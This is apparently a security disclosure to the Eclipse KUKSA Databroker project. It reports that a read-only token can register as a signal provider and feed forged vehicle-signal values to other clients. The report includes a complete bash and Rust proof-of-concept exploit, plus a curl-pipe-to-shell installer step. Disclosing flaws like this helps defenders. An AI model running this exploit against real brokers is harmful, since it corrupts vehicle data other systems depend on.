Skip to content

[Eclipse KUKSA Databroker] Authorization bypass in kuksa.val.v2 allows read-scope provider hijack

Type of issue

Authorization bypass / privilege escalation leading to remote data integrity compromise in the production gRPC API (kuksa.val.v2).

Affected version(s)

Reproduced on commit: 2936b2511bfadc519694e25d12f92402bdd763f6

Repository:

https://github.com/eclipse-kuksa/kuksa-databroker

Impact

A client holding only a read JWT scope can still register itself as a signal provider through the production kuksa.val.v2 OpenProviderStream API by sending ProvideSignalRequest. Once registered, the attacker can answer forwarded GetProviderValueRequest messages and cause other clients to receive attacker-controlled values for signals they read. This breaks authorization boundaries and allows unauthorized takeover/hijacking of signal provision. In practice, this means a low-privileged remote client can:

  • claim signals without provide permission
  • interfere with or block legitimate providers
  • return forged values to other remote consumers
  • compromise integrity of security-relevant vehicle/application data

How an attacker might exploit the issue

  1. Obtain any valid token with only read scope.
  2. Connect to the normal production gRPC API (kuksa.val.v2).
  3. Open OpenProviderStream.
  4. Send ProvideSignalRequest for a target signal ID.
  5. Wait for the broker to forward GetProviderValueRequest.
  6. Reply with attacker-controlled GetProviderValueResponse.
  7. Other clients performing GetValue / GetValues for that signal receive forged data.

Step-by-step instructions to reproduce the issue

  1. Clone the official repository.
  2. Checkout commit 2936b2511bfadc519694e25d12f92402bdd763f6.
  3. Build the official databroker.
  4. Start the official databroker with the repository’s JWT public key.
  5. Run the PoC below.
  6. Observe that a read-only token successfully registers as provider and that the original signal value is replaced by an attacker-controlled value.

Observed reproduction output:

  • token_scope=read
  • original_value=0.6.1-dev.0
  • spoofed_value=ATTACKER_CONTROLLED
  • read_scope_provider_hijack_reproduced=true

Location of affected source code

Commit: 2936b2511bfadc519694e25d12f92402bdd763f6

Relevant source locations:

  • databroker/src/grpc/kuksa_val_v2/val.rs
  • databroker/src/broker.rs
  • proto/kuksa/val/v2/val.proto

Full paths of source files related to manifestation

  • databroker/src/grpc/kuksa_val_v2/val.rs
  • databroker/src/broker.rs
  • proto/kuksa/val/v2/val.proto
  • databroker/src/main.rs

More specifically:

  • databroker/src/grpc/kuksa_val_v2/val.rs: OpenProviderStream handles ProvideSignalRequest
  • databroker/src/grpc/kuksa_val_v2/val.rs: register_provided_signals(...)
  • databroker/src/broker.rs: register_signals(...)
  • databroker/src/broker.rs: get_values_broker(...)
  • proto/kuksa/val/v2/val.proto: OpenProviderStream / ProvideSignalRequest

Configuration required to reproduce the issue

  • Default production gRPC API (kuksa.val.v2)
  • Authorization enabled with the repository JWT public key
  • No demo environment required
  • No devtools required
  • Reproduced over the normal TCP gRPC listener on 127.0.0.1:55555
  • The PoC uses the project’s own official Rust library/client code (kuksa_val_v2, kuksa-common, databroker- proto) rather than a reimplemented protocol client

Log files

I am not attaching log files in this initial report.

Proof-of-concept

I will provide a copy-pasteable script below and a video is attached where I show you how I use the poc script. I also includede the PoC into a txt file. It is intended to be pasted directly into a WSL / Ubuntu terminal. YOU ONLY NEED TO COPY IT AND PASTE IT INTO YOU WSL / UBUNTU TERMINAL.

The script automatically:

  • clones the official repository
  • checks out the affected commit
  • builds the official project
  • starts the official server
  • writes a small repro example into the cloned repository
  • uses the project’s own official library/client code
  • performs the full end-to-end reproduction automatically

Please treat the following block as the

PoC:

bash <<'BASH'
set -euo pipefail
REPO_URL="https://github.com/eclipse-kuksa/kuksa-databroker.git"
REPRO_COMMIT="2936b2511bfadc519694e25d12f92402bdd763f6"
WORKDIR="${WORKDIR:-$(mktemp -d "${TMPDIR:-/tmp}/kuksa-databroker-repro-XXXXXX")}"
REPO_DIR="$WORKDIR/kuksa-databroker"
SERVER_LOG="$WORKDIR/databroker.log"
REPRO_OUT="$WORKDIR/repro.out"
need_cmd() {
  command -v "$1" >/dev/null 2>&1
}
if ! need_cmd git || ! need_cmd cc || ! need_cmd c++ || ! need_cmd make || ! need_cmd curl; then
  if need_cmd apt-get; then
    sudo apt-get update
    sudo apt-get install -y git build-essential pkg-config ca-certificates curl
  else
    echo "Missing required tools and no apt-get available. Need: git, cc, c++, make, curl" >&2
    exit 1
  fi
fi
if ! need_cmd cargo || ! need_cmd rustc; then
  curl https://sh.rustup.rs -sSf | sh -s -- -y --profile minimal
fi
# shellcheck disable=SC1090
if [ -f "$HOME/.cargo/env" ]; then
  . "$HOME/.cargo/env"
fi
export PATH="$HOME/.cargo/bin:$PATH"
cleanup() {
  local status=$?
  if [ -n "${SERVER_PID:-}" ]; then
    kill "$SERVER_PID" >/dev/null 2>&1 || true
    wait "$SERVER_PID" >/dev/null 2>&1 || true
  fi
  if [ $status -ne 0 ]; then
    echo
    echo "Repro failed. Server log:"
    echo "========================"
    sed -n '1,200p' "$SERVER_LOG" 2>/dev/null || true
    echo
    echo "Workdir kept at: $WORKDIR"
  fi
  exit $status
}
trap cleanup EXIT INT TERM
echo "[*] Cloning official repo into: $REPO_DIR"
git clone "$REPO_URL" "$REPO_DIR"
cd "$REPO_DIR"
git checkout "$REPRO_COMMIT"
export CARGO_TARGET_DIR="$REPO_DIR/.repro-target"
echo "[*] Writing official-library repro example"
cat > "$REPO_DIR/lib/databroker-examples/examples/read_scope_provider_hijack.rs" <<'RS'
use std::time::Duration;
use databroker_proto::kuksa::val::v2::open_provider_stream_request::Action;
use databroker_proto::kuksa::val::v2::open_provider_stream_response;
use databroker_proto::kuksa::val::v2::value::TypedValue;
use databroker_proto::kuksa::val::v2::{
    Datapoint, GetProviderValueResponse, OpenProviderStreamRequest, ProvideSignalRequest,
    SampleInterval, Value,
};
use kuksa_common::ClientTraitV2;
use kuksa_val_v2::KuksaClientV2;
const TARGET_PATH: &str = "Kuksa.Databroker.CargoVersion";
const FAKE_VALUE: &str = "ATTACKER_CONTROLLED";
fn datapoint_to_string(dp: Option<Datapoint>) -> Option<String> {
    let dp = dp?;
    let value = dp.value?;
    match value.typed_value? {
        TypedValue::String(s) => Some(s),
        other => Some(format!("{other:?}")),
    }
}
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
    let token = std::fs::read_to_string("jwt/read-all.token")?;
    let token = token.trim().to_owned();
    let mut reader = KuksaClientV2::from_host("http://127.0.0.1:55555");
    reader.basic_client.set_access_token(&token)?;
    let metadata = reader
        .list_metadata((TARGET_PATH.to_owned(), "*".to_owned()))
        .await?;
    let signal = metadata
        .iter()
        .find(|m| m.path == TARGET_PATH)
        .ok_or("target path not found")?;
    let signal_id = signal.id;
    let original = datapoint_to_string(reader.get_value(TARGET_PATH.to_owned()).await?);
    println!("token_scope=read");
    println!("target_path={TARGET_PATH}");
    println!("signal_id={signal_id}");
    println!("original_value={}", original.as_deref().unwrap_or("<none>"));
    let mut provider = KuksaClientV2::from_host("http://127.0.0.1:55555");
    provider.basic_client.set_access_token(&token)?;
    let mut stream = provider.open_provider_stream(None).await?;
    stream
        .sender
        .send(OpenProviderStreamRequest {
            action: Some(Action::ProvideSignalRequest(ProvideSignalRequest {
                signals_sample_intervals: [(signal_id, SampleInterval { interval_ms: 0 })]
                    .into_iter()
                    .collect(),
            })),
        })
        .await?;
    let provide_response =
        tokio::time::timeout(Duration::from_secs(5), stream.receiver_stream.message()).await??;
    let provide_response = provide_response.ok_or("provider stream closed early")?;
    match provide_response.action {
        Some(open_provider_stream_response::Action::ProvideSignalResponse(_)) => {}
        other => return Err(format!("unexpected first provider response: {other:?}").into()),
    }
    let mut hijack_stream = stream;
    let responder = tokio::spawn(async move {
        loop {
            let msg = hijack_stream.receiver_stream.message().await?;
            let msg = msg.ok_or_else(|| tonic::Status::aborted("provider stream closed"))?;
            if let Some(open_provider_stream_response::Action::GetProviderValueRequest(req)) =
                msg.action
            {
                hijack_stream
                    .sender
                    .send(OpenProviderStreamRequest {
                        action: Some(Action::GetProviderValueResponse(GetProviderValueResponse {
                            request_id: req.request_id,
                            entries: [(
                                signal_id,
                                Datapoint {
                                    timestamp: None,
                                    value: Some(Value {
                                        typed_value: Some(TypedValue::String(
                                            FAKE_VALUE.to_owned(),
                                        )),
                                    }),
                                },
                            )]
                            .into_iter()
                            .collect(),
                        })),
                    })
                    .await
                    .map_err(|e| tonic::Status::aborted(e.to_string()))?;
                break Ok::<(), tonic::Status>(());
            }
        }
    });
    tokio::time::sleep(Duration::from_millis(200)).await;
    let spoofed = datapoint_to_string(reader.get_value(TARGET_PATH.to_owned()).await?);
    responder.await??;
    println!("spoofed_value={}", spoofed.as_deref().unwrap_or("<none>"));
    if spoofed.as_deref() != Some(FAKE_VALUE) {
        return Err("spoofing failed".into());
    }
    println!("read_scope_provider_hijack_reproduced=true");
    Ok(())
}
RS
echo "[*] Building official databroker"
cargo build --manifest-path "$REPO_DIR/Cargo.toml" -p databroker
echo "[*] Starting official databroker with upstream JWT public key"
"$CARGO_TARGET_DIR/debug/databroker" \
  --jwt-public-key "$REPO_DIR/certificates/jwt/jwt.key.pub" \
  >"$SERVER_LOG" 2>&1 &
SERVER_PID=$!
echo "[*] Waiting for 127.0.0.1:55555"
ready=0
for _ in $(seq 1 80); do
  if (echo > /dev/tcp/127.0.0.1/55555) >/dev/null 2>&1; then
    ready=1
    break
  fi
  sleep 0.25
done
if [ "$ready" -ne 1 ]; then
  echo "databroker did not start in time" >&2
  exit 1
fi
echo "[*] Running official kuksa_val_v2-based repro"
cargo run \
  --manifest-path "$REPO_DIR/lib/Cargo.toml" \
  -p databroker-examples \
  --example read_scope_provider_hijack | tee "$REPRO_OUT"
grep -q 'read_scope_provider_hijack_reproduced=true' "$REPRO_OUT"
echo
echo "[+] Repro succeeded"
echo "[+] Repo: $REPO_DIR"
echo "[+] Log: $SERVER_LOG"
echo "[+] Out: $REPRO_OUT"
BASH

PoC.txt

PoCKuksaDatabroker

To upload designs, you'll need to enable LFS and have an admin enable hashed storage. More information